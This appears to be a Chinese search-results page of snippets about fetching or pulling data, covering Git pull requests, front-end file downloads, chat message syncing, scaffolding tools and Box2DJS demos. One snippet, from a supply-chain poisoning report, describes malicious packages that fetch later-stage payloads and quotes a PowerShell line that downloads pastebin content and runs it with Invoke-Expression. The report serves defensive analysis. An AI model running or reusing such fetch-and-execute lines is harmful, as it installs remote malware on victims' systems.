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Github上如何在组织中的代码仓库里,为组织中的小组创建Pull Request(拉取请求下载请求)?

如何在组织中的代码仓库里,为组织中的小组创建Pull Request(拉取请求/下载请求)?   ...当你在一个更大的组织中工作时,良好的创建Pull Request(拉取请求/下载请求)的习惯是很重要的。   ...许多组织使用Pull Request进行代码审查,当你对代码进行更改后,你可以邀请你的小组审核你所做的更改,并提供反馈。 ? ? ? 什么是好的Pull Request呢?   ...但是当我们作为更大团队的一部分,重要的是我们要清楚正在改变的是什么以及为什么要做出这样的改变。   所以我们要填写下修改的标题和具体说明。 使用组织的好处是:能够使用团队通知功能。   ...现在使用一种简单的方法来确保该组织小组中的所有成员都能看到这个Pull Request。 @heizeTeam/developersteam ? ?

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前端文件下载汇总「案例讲解」

同源链接 案例中,我们将开启一个服务器端渲染 Server-Side Rendering(SSR) 的项目: ssr-app ├── public │ └── test.txt ├── index.ejs...“定期触发” 的时间间隔是由浏览器决定的,并且取决于网络传输速度和其他因素。常常用来展示数据拉取进度 Ok,我们开始编写案例。...计算出拉取文件的速度(千比特每秒)和剩余时间(秒),并在页面中展示出来。当文件流拉取完后,到了我们的老朋友 a 标签元素上场,处理该 blob 二进制对象数据,调起浏览器自动下载。...上面也提到了,e.total 需要后端服务配合 Content-Length 触发 Download File 按钮后的数据拉取的动图效果 XHR 能够直接获取到文件下载的进度,那么,我们为什么不对其进行封装呢...上面实现的效果如下动图 小节 本小节中,我们通过使用了原生的 XHR 来拉取数据,我们需要注意: 服务端要配合 Content-Length 客户端需要在钩子函数 onprogress 中处理数据 调接口拉取数据后

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    供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)

    )拉取第二阶段恶意bash脚本(script.sh)受害者系统上执行。...第一阶段恶意代码进一步从投毒者服务器上拉取第二阶段恶意代码并执行。...djs-log恶意包的index.js被混淆保护,混淆代码如下所示:对混淆代码进行还原后(下图所示)可知,该恶意文件主要负责从discord CDN服务器拉取恶意木马文件Uninstall-Node.js.exe...在__init__.py中存在包含恶意代码的fetch_useragents函数接口(如下所示)。第一阶段恶意代码采用字符串hex编码,解码后得出真实代码如下所示,通过远程拉取第二阶段恶意代码并执行。...pastebinURL | Select-Object -ExpandProperty Content; Invoke-Expression -Command $codePowerShell代码会进一步从攻击者服务器拉取第四阶段

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    前端文件下载(三)

    下载的进度浏览器进行反馈,文件小的时候浏览器会很快下载完并提示,但是文件很大的话,那么下载就很慢了,准确来说数据拉取很慢,点击之后页面很久才会响应。...那么,我们如何获取到文件加载的进度呢? 带着这个问题,展开本文的案例讲解。 本文演示的项目是个 SSR 的应用。...计算出拉取文件的速度和剩余时间,并在页面中展示出来。当文件流拉取完后,到了我们的老朋友 a 标签上场,处理该 blob 二进制对象数据,吊起浏览器下载。...上面也提到了,e.total 需要后端服务配合 Content-Length 触发的动图效果如下: 总结 本文我们通过使用原生的 xhr 来拉取数据,需要注意点如下: 服务端要配合 Content-Length...客户端需要在钩子函数 onprogress 中处理数据 调接口拉取数据后,自动唤起浏览器下载

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    Express进阶升级

    还是有点无从下手 经过上述文件分析,我们大致了解如何定义自己的路由规则了: /routes 中定义路由文件——>并配置在app.JS中进行引用、暴漏 /views 中定义ejs等模板资源——>app.JS...中进行启动配置, 接下来就是正常的路由代码编写,app.JS路由配置 好像也不是很复杂,这里就简单介绍一下拉~ 软件开发中的部分理论概念: 程序开发过程出现了很多理论、概念、名词有时候不懂是什么意思...无状态: 每个请求从客户端到服务器必须包含理解和处理请求所需的所有信息,与之前的请求无关 代码按需: 服务器可以提供可执行代码或脚本,客户端可以选择下载并执行,以扩展客户端功能 统一接口: 具有统一的接口...由某一服务进行生成,仅存放在生成服务器的内存中,那个如何在多个服务端之间共享呢?...当然有多种解决方案: 一: 通过特定的规则算法,在请求过程中,发送到对应的服务模块,但显然比较麻烦,影响程序效率; 二: Redis 作为中间服务器,所有的Session都放在里面,大家一起去存

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    前端文档站点搭建方案

    html,每次全量生成之前,都需要从 GitLab 拉取完整的项目,拉取代码使用的是 git-clone (https://yarnpkg.com/zh-Hant/package/git-clone)...页面模板即除了文档内容 Markdown 外的文件,譬如布局、公用头部、左侧菜单、样式、脚本等。 然后将前面生成的正文内容注入到准备好的模板中,这里使用的模板引擎是 Ejs,就可以得到如下页面: ?...docsify 已经提供了实施编译 md 文件的功能,剩下我们需要实现的部分就是在 GitLab 上的文件有更新时,自动触发服务重新拉取最新的 md 文件。...GitLab 编辑 方案对比 方案二和方案一不同的地方就是把 md 文件渲染成 Html 的一步从服务端改到了浏览器端,服务器端只承担接收 Webhook 拉取最新的代码的工作。 ?...一个顺手的文档站点搭好之后,接下来我们就只需要关心如何把 Markdown 写好推送到 GitLab,其它的工作服务器都会帮我们完成。

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    文心一言 VS 讯飞星火 VS chatgpt (292)-- 算法导论21.3 5题

    在 Union 方法中,我们根据两个集合的秩来决定如何合并它们,以确保合并后的树的高度尽可能小。 最后,我们在 main 函数中创建了一个具有 10 个元素的并查集,并对其中的元素进行了一些操作。...这意味着无论操作的具体数量如何变化,每个操作的平均时间都保持在一个常数范围内。 接下来,我们来详细解释路径压缩和按秩合并对并查集操作的影响。 1....我们将首先解释这两种启发式策略是如何工作的,然后提供一个Go语言的代码示例来说明这些操作。...这个代码展示了如何在Go语言中实现并查集,并应用了路径压缩和按秩合并的启发式策略。...在实际应用中,你需要根据具体的操作序列来分析性能。

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    群聊比单聊,凭什么复杂这么多?

    常见的群消息流程如何? 群业务的核心数据结构有两个。 群成员表: t_group_users(group_id, user_id) 画外音:用来描述一个群里有多少成员。...; 步骤4:对于群中在线的用户A与B,群消息server进行实时推送; 步骤5:对于群中离线的用户C与D,群消息server进行离线存储; 典型的群离线消息拉取流程,如图步骤1-3所述: 步骤1:离线消息拉取者...C向server拉取群离线消息; 步骤2:server从db中拉取离线消息并返回群用户C; 步骤3:server从db中删除群用户C的群离线消息; 那么,问题来了!...: 步骤1:先拉取所有的离线消息msg_id; 步骤3:再根据msg_id拉取msg_detail; 步骤5:删除离线msg_id; 优化后的流程,能保证消息的可达性么?...对于一个群用户,在ta登出后的离线期间内,肯定是所有的群消息都没有收到的,完全不用对所有的每一条离线消息存储一个离线msg_id,而只需要存储最近一条拉取到的离线消息的time(或者msg_id),下次登录时拉取在那之后的所有群消息即可

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    直播系统聊天技术(七):直播间海量聊天消息的架构设计难点实践

    ,消息服务向本节点缓存的所有成员下发通知拉取(图中服务器向用户 B 和用户 Z 下发了通知)。...通知拉取的详细流程为: 1)客户端成功加入聊天,将所有成员加入到待通知队列中(如已存在则更新通知消息时间); 2)下发线程,轮训获取待通知队列; 3)向队列中用户下发通知拉取。...另外:直播间聊天室中的消息即时性较强,直播结束或用户退出聊天室后,之前拉取的消息大部分不需要再次查看,因此在用户退出聊天室时,会清除数据库中该聊天室的所有消息,以节约存储空间。...这两种接口的组合应用可以极大提升聊天室服务的属性查询响应和自定义分发能力。 10.3 自定义属性的拉取 内存中的全量数据,主要给从未拉取过自定义属性的成员使用。...对于已经拉取过全量数据的成员来说,若每次都拉取全量数据,客户端想获得本次的修改内容,就需要比对客户端的全量自定义属性与服务器端的全量自定义属性,无论比对行为放在哪一端,都会增加一定的计算压力。

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    群消息这么复杂,怎么能做到不丢不重?

    【需求缘起】 之前的文章更多的聊了单对单的消息投递: 《微信为什么不丢消息?》 《http如何像tcp一样实时的收消息?》...典型的群离线消息拉取流程,如图步骤1-3所述: 步骤1:离线消息拉取者C向server拉取群离线消息 步骤2:server从db中拉取离线消息并返回群用户C 步骤3:server从db中删除群用户C的群离线消息...拉取离线消息时也做了响应的修改: 步骤1:先拉取所有的离线消息msg_id 步骤3:再根据msg_id拉取msg_detail 步骤5:删除离线msg_id 存在的问题 如同单对单消息的发送一样: (1...)在线消息的投递可能出现消息丢失,例如服务器重启,路由器丢包,客户端crash (2)离线消息的拉取也可能出现消息丢失,原因同上 需要和单对单消息的可靠投递一样,加入应用层的ACK,才能保证群消息一定到达...time(或者msg_id),下次登录时拉取在那之后的所有群消息即可,而完全没有必要存储每个人未拉取到的离线消息msg_id 群成员表:用来描述一个群里有多少成员,以及每个成员最后一条ack的群消息的msg_id

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    使用Git多人协作,完成项目开发

    当我们完成上面的一系列操作之后,成员能够从GitHub当中拉取文件(clone),但却没有权限修改文件,此时我们需要针对每个成员进行操作权限的设置。 ?...进入Setting,进行权限设置即可,这时,所有的成员都具备了读写的权限。...然后你可以让你的团队成员提交、拉取一下数据,如果成功了,那么就说明你的团队成员都可以使用自己的Git连接当前的GitHub了。...其他用户如何使用这个新分支 如果我们希望每个人都在这个新分支(develop)上进行协作开发,那么团队中的每个人就需要在自己的Git中新建一个分支,并切换到这个分支,之后,从GitHub中将新分支拉取下来...即:创建develop分支——>切换到新的分支——>拉取GitHub中develop分支(拉取远程分支) 拉取远程分支的两种方法 命令:git pull 远程仓库名 分支名 如:git pull origin

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    前端工程化-打造企业通用脚手架

    在@focus/cli脚手架中,根据功能进行拆分: @focus/cli存放脚手架主要功能 focus create projectName拉取模板项目 focus add material新建物料,可以是一个...axios:结合Gitlab API获取仓库列表、Tags... download-git-repo:从Github/Gitlab中拉取仓库代码 consolidate :模板引擎整合库。...在终端运行focus create xxx,会先借助figlet打印logo ·借助semver获取有效版本号后,设置N天后自动检测最新版本提示是否要更新 结合Gitlab API能力通过axios拉取所有的模板项目并罗列以供选择...选择具体模板后,拉取该模板所有Tags 选择具体Tag后,需要安装依赖时所需要的包管理工具npm/yarn 使用download-git-repo在Gitlab中拉取具体模板具体Tag,并缓存到.focusTemplate...再在src/add/index.ts中读取所有的物料模板与映射关系,最后做拷贝。

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    基于HTML5的WebGL结合Box2DJS物理应用

    上篇我们基于HT for Web呈现了A* Search Algorithm的3D寻路效果,这篇我们将采用HT for Web 3D来呈现Box2DJS物理引擎的碰撞效果,同上篇其实Box2DJS只是二维的平面碰撞物理引擎...Box2D有很多参数功能点,这里例子我们仅呈现最基础简单的要素,主要让大家理解Box2DJS引擎的基本使用,以及呈现上如何与HT for Web结合。...,先通过world.Step(1 / 60, 10, 10);更新物理引擎的内部运算,然后遍历所有Body元素将运算结果,也就是Body的位置和旋转角度等信息同步到HT for Web的Node对象,从而达到了.../ht-box2d-demo.html 例子中物体掉落到-150以下我就删除了Box2DJS以及HT的DataModel中对应的数据元素,同时选中图元也会自动删除图元,count % 10 === 0...Box2D还可以玩出很多花样,如果数据量大也可以考虑参考《3D拓扑自动布局之Web Workers篇》,将Box2DJS的密集运算在WebWork中执行,我没评估过性能的提升幅度,数据量大时WebWork

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    原 基于HTML5的WebGL结合Box2

    上篇我们基于HT for Web呈现了A* Search Algorithm的3D寻路效果,这篇我们将采用HT for Web 3D来呈现Box2DJS物理引擎的碰撞效果,同上篇其实Box2DJS只是二维的平面碰撞物理引擎...Box2D有很多参数功能点,这里例子我们仅呈现最基础简单的要素,主要让大家理解Box2DJS引擎的基本使用,以及呈现上如何与HT for Web结合。...60, 10, 10);更新物理引擎的内部运算,然后遍历所有Body元素将运算结果,也就是Body的位置和旋转角度等信息同步到HT for Web的Node对象,从而达到了HT for Web和Box2DJS...例子中物体掉落到-150以下我就删除了Box2DJS以及HT的DataModel中对应的数据元素,同时选中图元也会自动删除图元,count % 10 === 0 这个用来没十次刷新产生一个新的立方体。...Box2D还可以玩出很多花样,如果数据量大也可以考虑参考《3D拓扑自动布局之Web Workers篇》,将Box2DJS的密集运算在WebWork中执行,我没评估过性能的提升幅度,数据量大时WebWork

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    基于HTML5的WebGL结合Box2DJS物理引擎应用

    上篇我们基于HT for Web呈现了A* Search Algorithm的3D寻路效果,这篇我们将采用HT for Web 3D来呈现Box2DJS物理引擎的碰撞效果,同上篇其实Box2DJS只是二维的平面碰撞物理引擎...Box2D有很多参数功能点,这里例子我们仅呈现最基础简单的要素,主要让大家理解Box2DJS引擎的基本使用,以及呈现上如何与HT for Web结合。...,先通过world.Step(1 / 60, 10, 10);更新物理引擎的内部运算,然后遍历所有Body元素将运算结果,也就是Body的位置和旋转角度等信息同步到HT for Web的Node对象,从而达到了.../ht-box2d-demo.html 例子中物体掉落到-150以下我就删除了Box2DJS以及HT的DataModel中对应的数据元素,同时选中图元也会自动删除图元,count % 10 === 0...Box2D还可以玩出很多花样,如果数据量大也可以考虑参考《3D拓扑自动布局之Web Workers篇》,将Box2DJS的密集运算在WebWork中执行,我没评估过性能的提升幅度,数据量大时WebWork

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    中后台系统提升质量和效率的一个思路

    基于以上考虑,我们采取一个更轻便的方案,以模版代码为基础进行后续开发,并通过脚手架进行模版的配置、拉取。...按分支来保存不同场景下的模版: 优点:不同场景下通过分支来拉取不同模版,模版之间完全隔离。 缺点:缺少了 master 分支,各模版都需要自己的 master 分支进行迭代。...缺点:脚手架需要一次性拉取所有模版,然后复制自己需要的模版。 考虑到拉取文件速度较快,最终选取了方案 b。...使用者通过输入命令和参数即可生成模版页面代码,脚手架内部实现拉取模版和编译,生成最终页面,架构如下: image-20221027060851382 3....(对于团队内部工具来说,始终保持最新版本才可以及时用到最新功能,这也是强制升级的原因之一) 为提高命令的执行速度,执行命令时将拉取的模版缓存到本地,并且将最新的 commit 名保存起来。

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    H5开发在QQ钱包的应用实践

    当发现了过期的资源,Service Worker就会重新到服务器上拉取最新资源。整个过程是自动的,无需人工干预。这就解决了不可靠的问题。 增量更新 ?...当时PHP的版本非常成旧,我们需要开20台服务器才能完成所有请求的响应,而单机的QPS只有200。 从这些数据里可以看出性能还是不够好。...用传统的ejs渲染需要7500毫秒,而用tpl渲染只需要920毫秒。这就是我们做的模版引擎的优化。 MoggyServer线上数据 QQ钱包现在只运行了7台服务器,就完成了上千万级别的服务量。...直出页面加载 传统页面加载方案:从用户点击入口,native再去拉起webview,等待webview初始化完成后发送http请求去node服务拉取页面数据,最后对页面进行渲染。 ?...SONIC优化方案 串行改并行 相对传统加载方案中,优化方案在native执行时候实例化webview,同时并行向sonic服务器发起请求,将此前的串行操作优化为并行,因此此处耗时由sum(webview

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    基于HT for Web 3D呈现Box2DJS物理引擎

    上篇我们基于HT for Web呈现了A* Search Algorithm的3D寻路效果,这篇我们将采用HT for Web 3D来呈现Box2DJS物理引擎的碰撞效果,同上篇其实Box2DJS只是二维的平面碰撞物理引擎...Box2D有很多参数功能点,这里例子我们仅呈现最基础简单的要素,主要让大家理解Box2DJS引擎的基本使用,以及呈现上如何与HT for Web结合。...60, 10, 10);更新物理引擎的内部运算,然后遍历所有Body元素将运算结果,也就是Body的位置和旋转角度等信息同步到HT for Web的Node对象,从而达到了HT for Web和Box2DJS...例子中物体掉落到-150以下我就删除了Box2DJS以及HT的DataModel中对应的数据元素,同时选中图元也会自动删除图元,count % 10 === 0 这个用来没十次刷新产生一个新的立方体。...Box2D还可以玩出很多花样,如果数据量大也可以考虑参考《3D拓扑自动布局之Web Workers篇》,将Box2DJS的密集运算在WebWork中执行,我没评估过性能的提升幅度,数据量大时WebWork

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